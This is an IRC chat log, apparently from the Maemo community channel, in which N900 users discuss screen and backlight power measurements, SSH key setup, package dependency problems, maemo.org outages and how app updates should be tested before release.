| lcuk | if you press a cluster of keys nearest the led | 19:33 |
| lcuk | it keeps them lit | 19:33 |
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| jacekowski | pr1.2? | 19:33 |
| * SpeedEvil ponders a 'simon' game. | 19:33 | |
| Funnyface | is there any way to make the screen not turn completely off when the phone is locked? | 19:33 |
| Cabletwitch | I'm considering.. and only in theory... that putting some clear epoxy with the same refractive index as the LED casing around the problem LEDs might spread the light a bit more evenly. | 19:33 |
| lcuk | SpeedEvil, have a look, code is in .py http://twitter.com/lcuk/status/13642303906 | 19:33 |
| Funnyface | just as in, it keeps the image on the screen, but turns off the backlight completely | 19:33 |
| SpeedEvil | Cabletwitch: Don't screw with it. | 19:33 |
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| Cabletwitch | You think I would? | 19:34 |
| Funnyface | when my device resets, it sometimes displays the nokia splash screen without backlight so I know the device should be capable of doing it :p | 19:34 |
| SpeedEvil | Cabletwitch: Optical design in small things is damn hard. You are almost certain to make it worse | 19:34 |
| lcuk | jesus Cabletwitch that would kill | 19:34 |
| lcuk | i once had a chip on my crt monitor | 19:34 |
| SpeedEvil | Funnyface: Regrettably, unlike old phones, colour LCDs use a fair whack of power just to keep a static image. | 19:34 |
| Cabletwitch | Buddy, I work with trains. Everything is pretty much fixable with a sharp blow. I'm not going to mess with the insides of my cherished awesome-phone ;O) | 19:34 |
| Funnyface | ah ok | 19:35 |
| SpeedEvil | Funnyface: even with no backlight | 19:35 |
| Funnyface | how much is a "fair whack"? :P | 19:35 |
| Cabletwitch | If it cant be fixed with a hammer, I dont touch it. | 19:35 |
| SpeedEvil | Funnyface: 80mA | 19:35 |
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| SpeedEvil | Funnyface: This is about 15 hour life | 19:35 |
| Funnyface | hmm that's be a power drainer then | 19:35 |
| Funnyface | d* | 19:35 |
| zash | SpeedEvil: how much do you think the 3310 screen uses at idle? | 19:36 |
| SpeedEvil | zash: IIRC - I measured it - it's 0.3mA or something stupid | 19:36 |
| SpeedEvil | So well under a percent | 19:36 |
| zash | SpeedEvil: and what happend to using e-ink for phones? | 19:37 |
| Funnyface | what's the advantage of this new kind of LCD over the old ones then? quicker crystals? | 19:37 |
| MohammadAG | zash, ink dried out | 19:37 |
| dotblank | what epaper? | 19:37 |
| SpeedEvil | zash: e-ink is comparatively expensive | 19:38 |
| SpeedEvil | zash: and requires licensing from e-ink | 19:38 |
| Funnyface | I have some Nokia 6300 here with a display that I think is good | 19:38 |
| SpeedEvil | zash: Also - it's black and white only and slow update | 19:38 |
| SpeedEvil | Funnyface: Colour, resolution, speed | 19:38 |
| dotblank | but it uses little to no power | 19:38 |
| zash | SpeedEvil: So is my 3310 when it's cold | 19:38 |
| lcuk | eink only draws power whilst transitioning between states | 19:39 |
| SpeedEvil | Broadly. | 19:39 |
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| SpeedEvil | E-ink hasn't appeared on many phones as the customers seem to value shiny colour screen over everything. | 19:39 |
| SpeedEvil | Or at least the mobile companies assume they do. | 19:39 |
| Funnyface | anyway speed, are you sure that the 80mA actually drains 80mA from the battery? | 19:40 |
| SpeedEvil | yes | 19:40 |
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| SpeedEvil | That's measured at the battery. | 19:40 |
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| Funnyface | oh | 19:40 |
| SpeedEvil | I hould really convert it to mW - but meh. | 19:40 |
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| Funnyface | well the voltage is somewhat constant so | 19:41 |
| zash | 80mA showing a static image without backlight? on n900? | 19:41 |
| Funnyface | apparently | 19:41 |
| SpeedEvil | zash: yes | 19:41 |
| lcuk | depends on backlight level surely | 19:41 |
| SpeedEvil | backlight off | 19:41 |
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| SpeedEvil | backlight on is 180mA more | 19:42 |
| lcuk | turning down the brightness a notch can gain lots of battery life | 19:42 |
| SpeedEvil | Backlight at minimum is functionally the same as backlight off WRT power use | 19:42 |
| lcuk | SpeedEvil, do you have numbers for each level? | 19:42 |
| zash | SpeedEvil: how does that compare to other smartphones with big screens? | 19:42 |
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| Funnyface | well, I won't complain about the N900's battery life, compared to HTC winmo phones I've used in the past | 19:42 |
| lcuk | SpeedEvil, how can that be? | 19:42 |
| Shapeshifter | has someone been able to install festival? Here it complains festival: Depends: adduser (>= 3.105) but 3.102maemo1 is to be installed | 19:42 |
| SpeedEvil | zash: Send me the smartphones in question, and I shall measure them. | 19:42 |
| lcuk | minimum must draw more power than none? | 19:43 |
| SpeedEvil | lcuk: Oh - it does | 19:43 |
| Funnyface | I am sure this N900 battery lasts longer than my HTC's high capacity battery :P | 19:43 |
| SpeedEvil | lcuk: but the difference between no backlight - 80mA - minimum backlight - 85mA - and maximum backlight - 260mA - isn't large. | 19:43 |
| lcuk | right | 19:43 |
| SpeedEvil | the difference between the two lowest states isn't large I mean | 19:44 |
| lcuk | so minimum backlighting is 5ma? | 19:44 |
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| lcuk | any chance you can measure each backlight step | 19:44 |
| Funnyface | I do however hope that someone will create a high capacity battery that's about 1.5x the size of the original one, with a back cover that doesn't point out like sharp edges on top of the battery compartment | 19:44 |
| zash | How much does the resolution count? | 19:44 |
| lcuk | and extrapolate the extra time that would give | 19:44 |
| Funnyface | but just about as far as the camera lens | 19:44 |
| SpeedEvil | lcuk: that would mean reacing 18", umplugging my phone, and getting out from under the covers. | 19:45 |
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| lcuk | SpeedEvil, :) later on ill shout you a bacon butty when we meet | 19:45 |
| lcuk | zash, doesnt matter we cant easily change resolution of native maemo | 19:45 |
| * SpeedEvil unplugs phone, and waits for battery to stabilise. | 19:45 | |
| SpeedEvil | lcuk: the screen is a fixed resolution. | 19:46 |
| lcuk | but even if we could, that wouldnt effect the lcd | 19:46 |
| lcuk | sure SpeedEvil | 19:46 |
| SpeedEvil | There are several causes of power drain. | 19:46 |
| lcuk | but xvideo yuv modes are variable | 19:46 |
| zash | lupine_85: meant on other devices | 19:46 |
| lcuk | i can supply 200*200 if i want | 19:46 |
| SpeedEvil | The LCD being on. The LCD being actively clocked, and having data to it. | 19:46 |
| lcuk | and not waste bandwith on the bus | 19:46 |
| SpeedEvil | The supply of that data from the SoC - which has to have at least some functional units awake. | 19:46 |
| SpeedEvil | In some cases reducing bit depth can help | 19:46 |
| SpeedEvil | going to 4 bits from 24 on an older laptop gained 10% battery life at minimum brightness | 19:47 |
| zash | hm, how would pixel qi compare | 19:48 |
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| Chiku | I installed openssh add public key for root account and it works. I added same key for user account and it deosn't work :( | 19:51 |
| Shapeshifter | Is the packages page broken? http://maemo.org/packages | 19:52 |
| * DocScrutinizer waves as now it's definitely boozetime to drink away the frustration of time going by SOOO fast | 19:52 | |
| Chiku | how come? | 19:52 |
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| dotblank | maemo.org is down for me | 19:52 |
| Shapeshifter | ah yes. | 19:52 |
| Shapeshifter | this time, tmo is still alive ;) | 19:52 |
| DocScrutinizer | Chiku: passwd user; | 19:52 |
| DocScrutinizer | Chiku: also check directory permisions | 19:53 |
| Chiku | DocScrutinizer, what about ssh key? | 19:53 |
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| DocScrutinizer | It needs a password set, otherwise won't work | 19:53 |
| Chiku | oh | 19:53 |
| Chiku | ok | 19:53 |
| DocScrutinizer | don't ask me why | 19:53 |
| Jaffa | Af'noon all | 19:53 |
| MohammadAG | hey Jaffa | 19:54 |
| DocScrutinizer | Chiku: probably some issue with '!' vs '*' in /etc/passwd | 19:54 |
| Chiku | ok DocScrutinizer it works now, just need passwd fro user account | 19:54 |
| DocScrutinizer | toldya | 19:54 |
| DocScrutinizer | :- | 19:54 |
| MohammadAG | passwd user | 19:54 |
| DocScrutinizer | ) | 19:54 |
| MohammadAG | muhahaha i broke your smiley | 19:55 |
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| DocScrutinizer | yes :- | 19:55 |
| DocScrutinizer | ( | 19:55 |
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| Shapeshifter | https://maemo.org/ works (http does not) | 19:56 |
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| Chiku | does ssh x forwarding work? | 19:56 |
| dotblank | good observation | 19:56 |
| DocScrutinizer | anyway, bye maemo - preparing for the champagne | 19:56 |
| Dima_Sharihin | plz, append https://maemo.org to the topic | 19:56 |
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| DocScrutinizer | huh? | 19:57 |
| SpeedEvil | Ok - maximum - 215 - one down 135, middle, 100, second lowest, 85, lowest 65, off | 19:57 |
| andres | Is there a trick to get debugging info from the calendar app? | 19:57 |
| SpeedEvil | lcuk | 19:57 |
| andres | I want to import a ics file and it siltently does nothing. | 19:57 |
| Dima_Sharihin | bothers to answer the questions: "Why maemo.org doesn't works" | 19:57 |
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| jacekowski | Shapeshifter: itworks here | 19:58 |
| jacekowski | i have no problems with http://maemo.org | 19:58 |
| DocScrutinizer | works exceptionally fast and flawlessly today | 19:58 |
| Shapeshifter | jacekowski: for me and many others all maemo.org pages except tmo are blank white. | 19:58 |
| dotblank | seems to be on/off | 19:58 |
| deafboy | I have problems with it on one PC with abroad proxy, but from my home connection works fine | 19:58 |
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| jacekowski | it works perfectly here | 19:59 |
| DocScrutinizer | WFM | 19:59 |
| SpeedEvil | WFMT | 19:59 |
| jacekowski | and it's not cacahe | 19:59 |
| jacekowski | cache | 19:59 |
| jacekowski | i've just cleared it | 19:59 |
| deafboy | but subdomains working everywhere for me | 19:59 |
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| Dima_Sharihin | strange working maemo.org =) | 20:00 |
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| jacekowski | it doesn't work from my server in france | 20:01 |
| jacekowski | so something is FU | 20:01 |
| Shapeshifter | anyway, does anyone have an idea how to install festival? woglinde made a package but it depends on stuff that is missing, see: https://maemo.org/packages/package_instance/view/fremantle_extras-devel_free_armel/festival/1.96~beta-10maemo1/ | 20:01 |
| Shapeshifter | "festival: Depends: adduser (>= 3.105) but 3.102maemo1 is to be installed" | 20:01 |
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| Dima_Sharihin | Shapeshifter, apt-get -f install? | 20:02 |
| Shapeshifter | Dima_Sharihin: I tried that, it doesn't help | 20:02 |
| jacekowski | dpkg --force-all | 20:02 |
| Dima_Sharihin | jacekowski, it is bad way | 20:02 |
| jacekowski | it's the only way | 20:05 |
| Shapeshifter | thanks guys | 20:05 |
| * timeless_mbp wonders what version is in pr1.2 | 20:05 | |
| jacekowski | besides, i've played a bit with festival | 20:05 |
| jacekowski | and it's not even close to commercial spech synthetishers | 20:06 |
| timeless_mbp | why is anyone depending on a high version of adduser anyway? | 20:06 |
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| timeless_mbp | someone should make festival depend on adduser (>= 3.0) | 20:07 |
| SpeedEvil | lcuk: off is 60 or so | 20:07 |
| DocScrutinizer51 | SpeedEvil: what u r talking bout? | 20:08 |
| lcuk | SpeedEvil, cool | 20:09 |
| lcuk | so sitting on the middle bar is less than half the drain of the top | 20:09 |
| DocScrutinizer51 | aah | 20:09 |
| DocScrutinizer51 | k | 20:09 |
| lcuk | and the biggest jump does come from the highest brightness | 20:09 |
| Chiku | Version: 3.102maemo1 | 20:09 |
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| DocScrutinizer51 | I always claimed | 20:10 |
| SpeedEvil | lcuk: the brightness scales are logarithmic. | 20:10 |
| SpeedEvil | lcuk: you need a 50% jump to be even slightly noticable | 20:10 |
| DocScrutinizer51 | watch out! brightness is a function of ALS too | 20:10 |
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| Chiku | there is no new leak PR1.2 for adduser (>= 3.105) ? :) | 20:11 |
| lcuk | SpeedEvil, i normally sit on the middle brightness | 20:11 |
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| DocScrutinizer51 | I normally sit in dark room .-P | 20:11 |
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| Shapeshifter | jacekowski: where did you get a language from and how did you install it? seems like the deb doesn't ship with any language | 20:12 |
| lcuk | DocScrutinizer51, thats because you tried to install linux on the last cell which had windows | 20:12 |
| Dima_Sharihin | I normally sit on the chair %) | 20:12 |
| jacekowski | Shapeshifter: i was using it on a pc | 20:12 |
| DocScrutinizer51 | XD | 20:12 |
| Shapeshifter | jacekowski: ah | 20:12 |
| DocScrutinizer51 | lcuk: anywaykeep in mind that's rather random and dependent on amb light | 20:14 |
| lcuk | of course it is | 20:14 |
| lcuk | thats hwy qwertys simple backlight applet works | 20:14 |
| lcuk | why | 20:14 |
| DocScrutinizer51 | even on screen content as N900 has dynamic backlight | 20:14 |
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| DocScrutinizer51 | lcuk: (qwerty's sba) how that? | 20:19 |
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| lcuk | DocScrutinizer51, http://maemo.nokia.com/maemo-select/applications/simple-brightness-applet/ | 20:20 |
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| DocScrutinizer51 | hmm prolly no simple explanation over there on why you state it works due to ALS | 20:21 |
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| Chiku | did zsh ported on meamo? | 20:23 |
| SpeedEvil | lcuk: Oh yes - I forgot to mention - the above was with the n900 in the near-complete dark | 20:24 |
| lcuk | SpeedEvil, reasonable enough | 20:25 |
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| DocScrutinizer51 | yeah, holding your N900 with left hand, thump on upper left corner increases active time by factor 7 | 20:29 |
| DocScrutinizer51 | thumb* | 20:30 |
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| lcuk | lol DocScrutinizer51 thumping on anything tends to decrease activetime | 20:33 |
| DocScrutinizer51 | ~dict thumping | 20:34 |
| Chiku | somone released debtest package from unknow@unknow.com | 20:34 |
| DocScrutinizer51 | infobot: ping | 20:34 |
| infobot | ~pong | 20:34 |
| DocScrutinizer51 | ~ping | 20:35 |
| infobot | ~pong | 20:35 |
| infobot | Dictionary 'thumping' (3 of 5): a heavy dull sound (as made by impact of heavy objects) ;; \Thump"ing\, a. Heavy; large. [Colloq.] [1913 Webster] ;; (used informally) very large; "a thumping loss" . | 20:35 |
| DocScrutinizer51 | wooow | 20:35 |
| DocScrutinizer51 | fast as lightning | 20:35 |
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| DocScrutinizer51 | unk now | 20:37 |
| Shapeshifter | btw. there was talk about all the pr1.2 autobuilder problems being fixed but I still get missing dependency errors for qt related stuff. E.g. here's a google latitude update, which says it's missing libqt4-core >= 4.6.2 | 20:37 |
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| DocScrutinizer51 | Shapeshifter: hmm, I second that | 20:39 |
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| lcuk | Shapeshifter, it was fixed for apps that do not use new api features | 20:39 |
| DocScrutinizer51 | aah | 20:39 |
| lcuk | ie, the autobuilder checks the actual used methods and classes and supplies the earliest dependency which fulfills | 20:39 |
| lcuk | thereby allowing people with 1.1 to continue to use even newly updated apps (providing they dont try to use the later funcitonality) | 20:40 |
| Shapeshifter | mh | 20:41 |
| lcuk | at least thats how i think it works | 20:41 |
| lcuk | javispedro or X-Fade or jaffa perhaps might be able to clarify | 20:41 |
| omar_ | hey guys just went to bed left my phone idle and ran htop. noticed hildon-status menu used over a minute of my cpu. how can i determine which applet did that? | 20:42 |
| omar_ | i have a feeling it's the missed call notification | 20:42 |
| lcuk | omar_, using a minute of cpu might not be a bad thing | 20:42 |
| lcuk | if your uptime is long | 20:42 |
| omar_ | lcuk, i went to bed the other night and did same thing and didn't even see it use any cpu | 20:43 |
| lcuk | did it cause undesired battery drain? | 20:43 |
| omar_ | aye | 20:44 |
| omar_ | hildon-statusmenu shows 1:26.98 and the 2nd thing on the list is xorg showing 0:20.12 | 20:44 |
| omar_ | completely idle | 20:44 |
| Chiku | which rss client/widget are your prefered ? | 20:44 |
| Shapeshifter | mh | 20:44 |
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| Shapeshifter | bme_RX51 uses enourmous amount of time | 20:45 |
| Shapeshifter | just as much as Xorg. | 20:45 |
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| DocScrutinizer51 | eeeek | 20:45 |
| omar_ | Shapeshifter, yeah the other night the only 2 things that i saw using cpu while idle were bme_RX51 and dbus_daemon | 20:45 |
| DocScrutinizer51 | well good, so flames for jrbme won't be that hot | 20:46 |
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| DocScrutinizer51 | probably I'll even get better than original bme | 20:47 |
| Shapeshifter | probably | 20:48 |
| Cabletwitch | I'm pretty sure I understood more while I was on holiday in Japan than I do in here. Its like some mystical arcane language, spoken only in riddle and rhyme. | 20:50 |
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| DocScrutinizer | yay, was about to start a Vogon poem. But I found you're not worthy ;-P | 20:54 |
| DocScrutinizer | omar_: maybe radio meter? | 20:56 |
| DocScrutinizer | err GSM signal applet | 20:56 |
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| DocScrutinizer | anyway 1 minute CPU isn't really bad | 20:57 |
| DocScrutinizer | or, wait. Did your battery charge? | 20:58 |
| DocScrutinizer | (seen the animated icon? ;-P) | 20:58 |
| DocScrutinizer | omar_: your battery by any chance was completely charged when you 'went to bed the other night' and it charged for hours and hours 'yesterday'? | 21:00 |
| omar_ | DocScrutinizer nope i left my battery off charger to see battery drain | 21:01 |
| DocScrutinizer | aah, k | 21:01 |
| DocScrutinizer | too bad, was a nice story | 21:01 |
| omar_ | DocScrutinizer i don't have radio meter, i think it's the missed call notification that's the only thing i remmeber installing | 21:01 |
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| omar_ | also for some reason my wifi switcher reboots my phone now | 21:02 |
| omar_ | instead of disablingw lan | 21:02 |
| omar_ | wlan* | 21:02 |
| DocScrutinizer | for sure you have a gsm signal strength bar | 21:02 |
| omar_ | oh | 21:02 |
| omar_ | yeah | 21:02 |
| DocScrutinizer | at least if you got a SIM | 21:02 |
| omar_ | lol i was thinking radio FM transmitter :) | 21:02 |
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| DocScrutinizer | modem sending signal-level at random, whenever the RF situation changes (I.E it omits msgs via dbus when signal didn't change), so it's rather hard to tell | 21:04 |
| GAN900 | DocScrutinizer, should we start the "DocScrutinizer blew up his N900 and needs a prosthetic lap" fund now? :P | 21:04 |
| DocScrutinizer | I'd stop to worry as long as it's not more than 1 or 2 minutes CPU | 21:04 |
| alterego | Heh | 21:04 |
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| DocScrutinizer | GAN900: why do you think so? | 21:05 |
| omar_ | it's more than 1.5 mins of cpu ;/ | 21:05 |
| omar_ | when everything else is less than 30 secs | 21:05 |
| DocScrutinizer | omar_: don't worry | 21:05 |
| GAN900 | DocScrutinizer, because you're re-writing BME? :P | 21:06 |
| DocScrutinizer | as long as it's not 30 minutes | 21:06 |
| DocScrutinizer | GAN900: well, let's wait and see | 21:06 |
| GAN900 | Not that we don't have complete faith in your skills. ;) | 21:06 |
| DocScrutinizer | gnhnhnh | 21:06 |
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| DocScrutinizer | I'm really worried about BME's link to PA | 21:07 |
| DocScrutinizer | no idea what that's for | 21:07 |
| MohammadAG_ | probably nothing | 21:08 |
| MohammadAG_ | just like the case of my PC (got rid of that one) | 21:08 |
| DocScrutinizer | gives me worries - and since today I'm an old fart who doesn't like worries | 21:08 |
| * DocScrutinizer waves | 21:08 | |
| DocScrutinizer | ttyl #maemo | 21:09 |
| Jaffa | Shapeshifter: If you're using Qt, you're a bit screwed at the moment. You could try using qt4-maemo5 packages (what qt4-experimental used to be called) with a version constraint | 21:09 |
| Cabletwitch | Damnit, everytime I see Qt, I think "Why would anyone try to program stuff in Quicktime?" | 21:10 |
| Shapeshifter | PA? | 21:10 |
| Shapeshifter | Jaffa: mhh | 21:10 |
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| omar_ | hehe | 21:11 |
| lcuk | The following errors occurred with your submission | 21:11 |
| lcuk | 1. This forum requires that you wait 30 seconds between posts. Please try again in 13 seconds. | 21:11 |
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| frals | stop spamming the forum lcuk! | 21:12 |
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| lcuk | frals occasionally caught by such things | 21:12 |
| lcuk | how are you on this sunnyday | 21:12 |
| timeless | gan900/jaffa: how are birthday events supposed to work w/ the n900? | 21:12 |
| frals | completely knackered, suspect sleeping 16hrs was a bad idea | 21:13 |
| alterego | frals: I hate over sleeping :( | 21:13 |
| alterego | Tend to do it a lot with hangovers :S | 21:13 |
| frals | hadnt even been out, guess thats what was wrong :P | 21:14 |
| DocScrutinizer | Stskeeps: | 21:14 |
| DocScrutinizer | connect(3, {sa_family=AF_FILE, path="/tmp/.bmesrv"}, 110) = 0 | 21:14 |
| DocScrutinizer | writev(3, [{"SYNC\10\0\0\0", 8}, {"BMentity", 8}], 2) = 16 | 21:14 |
| DocScrutinizer | recv(3, "SYNC\1\0\0\0", 8, MSG_DONTWAIT) = 8 | 21:15 |
| DocScrutinizer | writev(3, [{"SYNC\4\0\0\0", 8}, {"\0\200\0\0", 4}], 2) = 12 | 21:15 |
| DocScrutinizer | recv(3, "\0\0\0\0", 4, MSG_DONTWAIT) = 4 | 21:15 |
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| DocScrutinizer | etc | 21:15 |
| DocScrutinizer | I guess that's what you called bulk messages? | 21:16 |
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| b-man|laptop | man, that's messy! | 21:17 |
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| DocScrutinizer | lol | 21:17 |
| frals | lcuk: liqbubbles was pretty cool! | 21:17 |
| Stskeeps | DocScrutinizer: not entirely | 21:18 |
| lcuk | tis just first little bits to test | 21:18 |
| lcuk | the bubbles should fill with stuff if i can get it fast enough | 21:18 |
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| GAN900 | timeless, I don' use the calendar. | 21:20 |
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| timeless | wise decision | 21:21 |
| timeless | I guess that calculating birthdays is hard work? | 21:24 |
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| alterego | Contemplting looking at Android and iPhone SDK's | 21:24 |
| alterego | Know thy enemy and all that. | 21:24 |
| GAN900 | alterego's going to own one of each tomorrow. | 21:25 |
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| alterego | I don't even properly own an N900 :P | 21:25 |
| alterego | I managed to get work to fork the cash out for me. | 21:26 |
| timeless | nice | 21:27 |
| alterego | I'm thinking of quiting my job, so not really :( | 21:27 |
| jacekowski | alterego: how? | 21:27 |
| jacekowski | why | 21:28 |
| jacekowski | if they would give me n900 i would probably stay | 21:28 |
| alterego | I showed them a demo of a minimal CCTV control client I wrote. | 21:28 |
| alterego | Had it working on Series 60 and the N900 | 21:28 |
| alterego | as well as win32 builds and linux build on my ubuntu laptop | 21:28 |
| alterego | I said, buy me this phone, and I can work on it properly :) | 21:29 |
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| mece | asdf | 21:30 |
| mece | oops | 21:31 |
| mece | hey. How's it going? What's new? | 21:31 |
| Jaffa | timeless: "work"? | 21:33 |
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| Jaffa | timeless: You put a contact's birthday in their VCard and it shows up in the pink "Birthday" calendar with a little cake icon | 21:33 |
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| timeless | jaffa: mine's suffering from an off by own error? | 21:33 |
| timeless | see pictures | 21:34 |
| Jaffa | Ah, yes. | 21:34 |
| Jaffa | I'd seen an off by one error | 21:34 |
| Jaffa | But not anything specific | 21:34 |
| Jaffa | Someone blamed Hermes, but it was acting correctly. I wondered if it was TZ-related | 21:34 |
| lcuk | jaffa - 10 day testing. if the devepoer came up with a specific set of functionality and feature tests that the squad can run over as well as indicating the areas fixed on this run through, getting answers to those tests should in theory allow an app to be tested based on passing proper tests to completion rather than just 10 days time? | 21:34 |
| Jaffa | lcuk: But you know it's always what the developer didn't intend to change which is always the thing which catches you out | 21:35 |
| lcuk | of course - regression testing etc | 21:35 |
| lcuk | thats where the same original tests continue | 21:35 |
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| lcuk | when you first release app it goes through everthing, no shortcuts | 21:35 |
| lcuk | but having a list of things to test makes it proactive for the testers | 21:36 |
| lcuk | and the dev knows thosethings | 21:36 |
| lcuk | if you fix a bug, your new test to be added to the hermes tests should be to check functionality around that change | 21:36 |
| timeless | i'm favoring leap years | 21:36 |
| Jaffa | timeless: For the original birth year? | 21:37 |
| lcuk | obviously if you as a developer dont supply test cases, the test squad have no idea what to check for | 21:37 |
| lcuk | and 10days passes by and it gets in anyway untested | 21:37 |
| lcuk | you want your users to check specific paths | 21:37 |
| Jaffa | Given the scarcity of testers, although a bit of a pain the "10 day" rule seems generally sensible. Although, it'd be useful to look at some metrics for how long it takes for something's votes to level off | 21:38 |
| lcuk | the 10 day start is ok for new apps | 21:38 |
| lcuk | i have no qualm there | 21:38 |
| timeless | jaffa: the original year is 83 and is ok | 21:39 |
| timeless | 84 is bad | 21:39 |
| lcuk | but an extra 10days for a 1 line patch | 21:39 |
| lcuk | where you could spend 15minutes writing a test case | 21:39 |
| lcuk | to properly request checking of the element you changed | 21:39 |
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| lcuk | jaffa im just trying to think a way round it to ensure patches are both tested properly and to try and find a way to engage both sides | 21:41 |
| Jaffa | lcuk: Indeed; but developer-written test plans are the worst I ever see. For the "this bug is inconvenient, but I'd like to get it fixed" I'm still quite keen on the parallel testing; if the earlier version is past the tipping point and the developer wants it. | 21:42 |
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| lcuk | jaffa, then someone with experience in writing test cases should be on the testing squad and liasing with developers | 21:43 |
| lcuk | we all submit patches and facepalm afterwards when the patch is wrong | 21:44 |
| Jaffa | lcuk: interesting idea. | 21:44 |
| * Jaffa ponders a community testmaster role. | 21:44 | |
| Stskeeps | extramaster? | 21:44 |
| DocScrutinizer | lcuk: Jaffa: there's no other way than peer review. Another developer has to scrutinize the patch and estimate the possible side effects. Neither the original devel nor a QA team can do this | 21:44 |
| lcuk | DocScrutinizer, of course | 21:45 |
| Jaffa | Stskeeps: Something like that. | 21:45 |
| lcuk | but at the moment the testing squad have no way of knowing how to test random app X | 21:45 |
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| lcuk | and its a bit of a shambles | 21:45 |
| jacekowski | anybody here is playing starcraft 2? | 21:45 |
| Jaffa | Stskeeps: Could fit in with lbt's community repo plan too | 21:45 |
| lcuk | the dev usually has to step in anyway and help | 21:45 |
| Stskeeps | Jaffa: well, i guess there should still be a budget available after june since jeremiah's leaving | 21:45 |
| Stskeeps | (but what do i know) | 21:45 |
| Jaffa | lcuk: "usually"? I've not seen any evidence of that. | 21:45 |
| Jaffa | Stskeeps: That's what I was thinking :) | 21:45 |
| lcuk | jaffa sit in on the testing sessions and see how it goes | 21:46 |
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| Jaffa | lcuk: The advantage of the current approach is that it really forces the developer to think about what's best for their users. For example, with fMMS frals seems to have decided that the crashing bug in 1.0.2 *was* serious enough to reset the count. | 21:47 |
| lcuk | in other places im pushing more and more for getting the developers to help guide testcases and tobe proactive in championing hteir patches | 21:47 |
| timeless | ajaffa: have you seen testrunner? | 21:47 |
| Jaffa | timeless: Not in depth, no. | 21:47 |
| lcuk | for half the testing, its failing on the stuff lint could cure | 21:47 |
| lcuk | hrw has mentioned often we could really do with it | 21:48 |
| timeless | it probably makes sense for testers to document what things they test and how | 21:48 |
| lcuk | half of the things tested can be automated and block entry to -tesitng anyway | 21:48 |
| timeless | so future testers of newer versions can test the same things | 21:48 |
| lcuk | timeless, yes | 21:48 |
| lcuk | but that document starts with the dev | 21:48 |
| timeless | to ensure that basic functionality doesn't regress | 21:48 |
| lcuk | he is the one who knows the app better than most | 21:48 |
| Jaffa | lcuk: jeremiah was working on it. Which rules are you thinking of? | 21:48 |
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| lcuk | jaffa the silly things, bugtrackers and optification etc | 21:49 |
| timeless | cuk: oddly, i don't think so | 21:49 |
| lcuk | timeless, when there is just one person making an app it has to start somewhere | 21:49 |
| timeless | an app is interesting according to how it's used by real users | 21:49 |
| lcuk | tester has to pickup app and make it work | 21:49 |
| lbt | eh, what | 21:49 |
| Jaffa | lcuk: Bugtracker is flagged by /packages/; optification isn't a hard & fast rule (but we're about to turn the default from 'none' to 'auto') | 21:49 |
| lcuk | timeless, first time to -testing there may be no real users | 21:50 |
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| * timeless nods | 21:50 | |
| korhojoa | <:| | 21:50 |
| timeless | imo an app shouldn't leave testing until a real user defines something useful/usable in an app | 21:51 |
| * lbt reads backlog.... but mentions our nokia internal build team is working to release test framework stuff around obs etc etc | 21:51 | |
| korhojoa | I could make a fart app | 21:51 |
| lcuk | timeless, nahh apps dont have to be useful | 21:51 |
| lcuk | just stable | 21:51 |
| * timeless wouldn't promote that | 21:51 | |
| korhojoa | That should be usable, right? | 21:51 |
| lcuk | theres already a fart app in development | 21:51 |
| korhojoa | shake phone, play fart sound. | 21:51 |
| timeless | lcuk: well you warrant what you test | 21:51 |
| lcuk | n00bmonk3y | 21:52 |
| korhojoa | lcuk: o rly | 21:52 |
| DocScrutinizer | a devel always tends to make assumptions about how his app is used. They usually are biased/wrong | 21:52 |
| lcuk | of course | 21:52 |
| timeless | if you can't figure out how to make the app work | 21:52 |
| Jaffa | DocScrutinizer++ | 21:52 |
| lcuk | but thats a better place to start than nothing | 21:52 |
| DocScrutinizer | so dvel defining the test suite is nonsense | 21:52 |
| timeless | you can't warrant that it does | 21:52 |
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| timeless | DocScrutinizer++ | 21:52 |
| lcuk | besides, better to keep the tests for the app with the app source somewhere | 21:52 |
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| lcuk | like the rest of the documentation | 21:53 |
| timeless | not really | 21:53 |
| timeless | documentation that people can''t find and won't read is usewless | 21:53 |
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| lbt | Jaffa: have you done MWN yet? | 21:53 |
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| timeless | if it isn't something a user/tester can easily find and amend, it isn't useful | 21:53 |
| lcuk | it should be brought onto the -testing page tho | 21:54 |
| lcuk | like debian changelog | 21:54 |
| Jaffa | lbt: doing it now | 21:54 |
| SpeedEvil | A central place for all docs would be great. | 21:54 |
| lbt | and you have seen the OBS info on planet... I don't know when we last spoke :) | 21:54 |
| timeless | requiring people to use VCSs to access dos isn't ok | 21:55 |
| timeless | nor is requiring them to install them | 21:55 |
| lbt | Jaffa: also, I've put a lot of effort into : http://wiki.maemo.org/OpenSuse_Build_Service | 21:55 |
| lcuk | timeless, the people are testing against a specific version of the package | 21:55 |
| lcuk | the webui for voting should have access to everything needed | 21:55 |
| lcuk | nice view of the changelog | 21:55 |
| Jaffa | lbt: it's looking good. | 21:55 |
| lcuk | the testcases historical and new | 21:55 |
| lbt | and, I was *hoping* to have conman built tonight :) | 21:56 |
| lbt | but I need to make optification work on the OBS... | 21:56 |
| lbt | "mount: special device /home/opt does not exist" | 21:56 |
| lcuk | anyway, just opening thoughts i have about testing - obviously more discusison is required | 21:56 |
| lbt | that's building json-lib | 21:56 |
| Jaffa | lbt: cool | 21:56 |
| Stskeeps | lbt: ah yes, base-files | 21:56 |
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| lbt | waddaya mean "ah yes" .... :) | 21:57 |
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| lbt | Stskeeps: http://wiki.maemo.org/OpenSuse_Build_Service/Fremantle_Setup | 21:57 |
| Stskeeps | lbt: there's a mount --bind in there or something | 21:57 |
| lbt | just FYI on how I'm doing it so far | 21:57 |
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| Stskeeps | :nod: | 21:58 |
| * Stskeeps is peeved with a xomap build error he can't track down. | 21:58 | |
| lbt | all moved to http://gitorious.org/m-obs too | 21:58 |
| lcuk | Stskeeps, when was jeremiah decision made? is there a writeup anywhere? | 21:59 |
| lbt | Stskeeps: point me to the build log so I can take a look | 21:59 |
| lbt | bwahahahaha | 21:59 |
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| Stskeeps | lcuk: which decision? i only found out because he told it on mailing list or something | 21:59 |
| lbt | lcuk: he decided pre-xmas iirc | 21:59 |
| lcuk | ahh | 22:00 |
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| Jaffa | lcuk: it made an MWKN issue ;-) | 22:01 |
| lcuk | linky? | 22:01 |
| * lcuk mustv been washing the pots of something | 22:01 | |
| Jaffa | lcuk: http://www.mwkn.net/2010/13/community.html#community-5 | 22:02 |
| lcuk | k ta | 22:03 |
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| * timeless_mbp sighs | 22:05 | |
| * timeless_mbp read that as 'washington post' | 22:05 | |
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| lcuk | lol timeless_mbp | 22:06 |
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| MohammadAG_ | DocScrutinizer, ping | 22:09 |
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| pupnik | thanks for the fish Jaffa | 22:12 |
| Jaffa | pupnik: So long? | 22:13 |
| pupnik | hehe | 22:14 |
